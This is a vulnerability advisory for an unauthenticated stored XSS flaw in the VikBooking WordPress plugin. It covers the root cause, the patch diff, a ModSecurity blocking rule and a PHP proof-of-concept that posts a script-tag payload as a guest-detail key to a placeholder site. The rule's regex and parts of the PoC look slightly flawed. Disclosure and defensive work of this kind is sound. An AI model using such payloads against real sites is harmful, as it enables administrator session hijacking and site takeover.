Published : June 22, 2026

CVE-2026-42762: VikBooking Hotel Booking Engine & PMS <= 1.8.9 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin vikbooking
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.8.9
Patched Version 1.8.10
Disclosed May 31, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42762:

This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the VikBooking Hotel Booking Engine & PMS plugin for WordPress, affecting versions up to and including 1.8.9. The vulnerability resides in the guest details collection functionality, specifically within the controller.php file. An unauthenticated attacker can inject arbitrary JavaScript into pages that execute when an administrator or other user views the injected data. The CVSS score is 7.2 (High).

The root cause is insufficient sanitization of guest detail field keys during the booking process. In the site/controller.php file, lines 3269-3278 and 3304-3317, the code iterates over guest detail arrays ($pguests) and directly uses the array keys ($detkey) without sanitizing them. While the patch adds htmlspecialchars(strip_tags($detkey)) to these keys, the vulnerable version does not perform any sanitization. An attacker can supply malicious data as the key name when submitting booking details from the front-end, allowing arbitrary HTML or JavaScript to be stored. The specific vulnerable code path is in the active controller’s methods that process guest booking data, particularly around the usage of $pguests and $guests_details arrays.

Exploitation requires sending a crafted POST request to the WordPress site’s booking endpoint. An attacker submits a booking form with custom guest detail keys containing XSS payloads, such as a key like `”alert(document.cookie)”`. The plugin stores this key without sanitization. When an administrator later views the booking check-in details (in admin/views/bookingcheckin/tmpl/default.php), the vulnerable key is output without escaping. The patch also adds htmlspecialchars() sanitization to the template file at line 692, but exploitation is still possible before the patch.

The patch modifies multiple files to fix the vulnerability. In site/controller.php, the patch adds htmlspecialchars(strip_tags($detkey)) to sanitize guest detail keys in two loops (lines 3272-3274 and 3312-3314). It also skips empty keys. In admin/views/bookingcheckin/tmpl/default.php, line 692 adds htmlspecialchars($extrak) to sanitize the output of pax field keys. The patch also introduces a non-final class (basic.php) and adds security checks for file deletion (mediator.php). Version numbers are incremented to 1.8.10.

Successful exploitation allows an attacker to inject persistent JavaScript into the WordPress admin area. Any administrator visiting the booking check-in page will execute the attacker’s script. This can lead to session hijacking, credential theft, or admin account takeover. The attacker can perform actions such as creating admin users or modifying plugin settings. Since the attack requires no authentication, it poses a serious risk to all sites running the vulnerable plugin version.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/vikbooking/admin/helpers/src/chat/mediator.php
+++ b/vikbooking/admin/helpers/src/chat/mediator.php
@@ -267,7 +267,19 @@
             return false;
         }

-        return JFile::delete($attachment->getPath());
+        $filePath = $attachment->getPath();
+
+        /**
+         * Make sure the file is located under the registered attachments path
+         * to prevent arbitrary file deletion.
+         *
+         * @since 1.18.10 (J) - 1.8.10 (WP)
+         */
+        if (strpos($filePath, $this->attachmentsPath) !== 0) {
+            return false;
+        }
+
+        return JFile::delete($filePath);
     }

     /**
--- a/vikbooking/admin/helpers/src/checkin/paxfields/basic.php
+++ b/vikbooking/admin/helpers/src/checkin/paxfields/basic.php
@@ -15,8 +15,9 @@
  * Helper class to support the default pax fields data collection.
  *
  * @since 	1.15.0 (J) - 1.5.0 (WP)
+ * @since 	1.18.10 (J) - 1.8.10 (WP) class is no longer final to allow inheritance.
  */
-final class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter
+class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter
 {
 	/**
 	 * The ID of this pax data collector class.
--- a/vikbooking/admin/helpers/src/model/quote.php
+++ b/vikbooking/admin/helpers/src/model/quote.php
@@ -58,6 +58,9 @@
         if (!empty($data['valid_until'])) {
             // convert the provided date-time string into UTC
             $data['valid_until'] = JFactory::getDate($data['valid_until'], JFactory::getApplication()->get('offset'))->toSql();
+        } else {
+            // force the value to be null
+            $data['valid_until'] = null;
         }

         if (!empty($data['country_3_code']) && strlen($data['country_3_code']) !== 3) {
--- a/vikbooking/admin/helpers/src/notification/elements.php
+++ b/vikbooking/admin/helpers/src/notification/elements.php
@@ -125,7 +125,7 @@
 	public function getTitle()
 	{
 		// access the notification title
-		$title = (string) $this->get('title', '');
+		$title = strip_tags((string) $this->get('title', ''));

 		// try to guess the title
 		if (!$title) {
--- a/vikbooking/admin/views/bookingcheckin/tmpl/default.php
+++ b/vikbooking/admin/views/bookingcheckin/tmpl/default.php
@@ -689,6 +689,8 @@
 						// display any other information collected through the pre check-in
 						if (count($pax_data) && isset($pax_data[$ind]) && isset($pax_data[$ind][$g])) {
 							foreach ($pax_data[$ind][$g] as $extrak => $extrav) {
+								// sanitize pax field key
+								$extrak = htmlspecialchars($extrak);
 								if (isset($pax_fields[$extrak]) || (is_scalar($extrav) && !strlen($extrav))) {
 									// this is a default pax field, we skip it
 									continue;
--- a/vikbooking/defines.php
+++ b/vikbooking/defines.php
@@ -12,7 +12,7 @@
 defined('ABSPATH') or die('No script kiddies please!');

 // Software version
-define('VIKBOOKING_SOFTWARE_VERSION', '1.8.9');
+define('VIKBOOKING_SOFTWARE_VERSION', '1.8.10');

 // Base path
 define('VIKBOOKING_BASE', dirname(__FILE__));
--- a/vikbooking/site/controller.php
+++ b/vikbooking/site/controller.php
@@ -3269,6 +3269,11 @@
 		foreach ($pguests as $ind => $adults) {
 			foreach ($adults as $aduind => $details) {
 				foreach ($details as $detkey => $detval) {
+					// accept no raw HTML tags as keys
+					$detkey = htmlspecialchars(strip_tags($detkey));
+					if (!$detkey) {
+						continue;
+					}
 					if (!in_array($detkey, $front_keys)) {
 						// push the key of the guest details for later comparison
 						array_push($front_keys, $detkey);
@@ -3304,6 +3309,11 @@
 						$guests_details[$ind][$aduind] = $details;
 					}
 					foreach ($details as $detkey => $detval) {
+						// accept no raw HTML tags as keys
+						$detkey = htmlspecialchars(strip_tags($detkey));
+						if (!$detkey) {
+							continue;
+						}
 						if (!in_array($detkey, $front_keys)) {
 							// merge this key probably reserved to the back-end
 							$guests_details[$ind][$aduind][$detkey] = $detval;
--- a/vikbooking/vikbooking.php
+++ b/vikbooking/vikbooking.php
@@ -3,7 +3,7 @@
 Plugin Name:  VikBooking
 Plugin URI:   https://vikwp.com/plugin/vikbooking
 Description:  Certified Booking Engine for Hotels and Accommodations.
-Version:      1.8.9
+Version:      1.8.10
 Author:       E4J s.r.l.
 Author URI:   https://vikwp.com
 License:      GPL2

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-42762 XSS via guest detail keys',severity:'CRITICAL',tag:'CVE-2026-42762'"
SecRule ARGS_POST:action "@streq vikbooking_confirmbooking" "chain"
SecRule ARGS_POST|ARGS_NAMES "@rx <script[ >]" "t:urlDecodeUni,t:lowercase,chain"
SecRule MATCHED_VARS_NAMES "@rx ^pguests[d+][d+][.*<script" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42762 - VikBooking Hotel Booking Engine & PMS <= 1.8.9 - Unauthenticated Stored Cross-Site Scripting

/*
 * This proof of concept demonstrates storing a JavaScript payload via guest detail keys.
 * The payload will execute when an admin views the booking check-in page.
 * Replace $target_url with the base URL of the WordPress site.
 */

$target_url = 'http://example.com';  // Change this to the target WordPress URL

// Craft the XSS payload as the key name
$xss_key = '<script>alert(1)</script>';

// Build the POST data mimicking a standard booking request with malicious guest detail key
$post_data = array(
    'option' => 'com_vikbooking',
    'task' => 'confirmbooking',
    'pguests' => array(
        0 => array(
            0 => array(
                $xss_key => 'value'
            )
        )
    ),
    'first_name' => 'Test',
    'last_name' => 'User',
    'email' => 'test@example.com',
    'phone' => '1234567890'
);

// Initialize cURL
$ch = curl_init($target_url . '/index.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response = curl_exec($ch);
curl_close($ch);

if ($response === false) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo 'Payload sent successfully. The XSS will trigger when an admin views the booking check-in page.' . "n";
    echo 'Target URL: ' . $target_url . "n";
    echo 'Payload key: ' . $xss_key . "n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School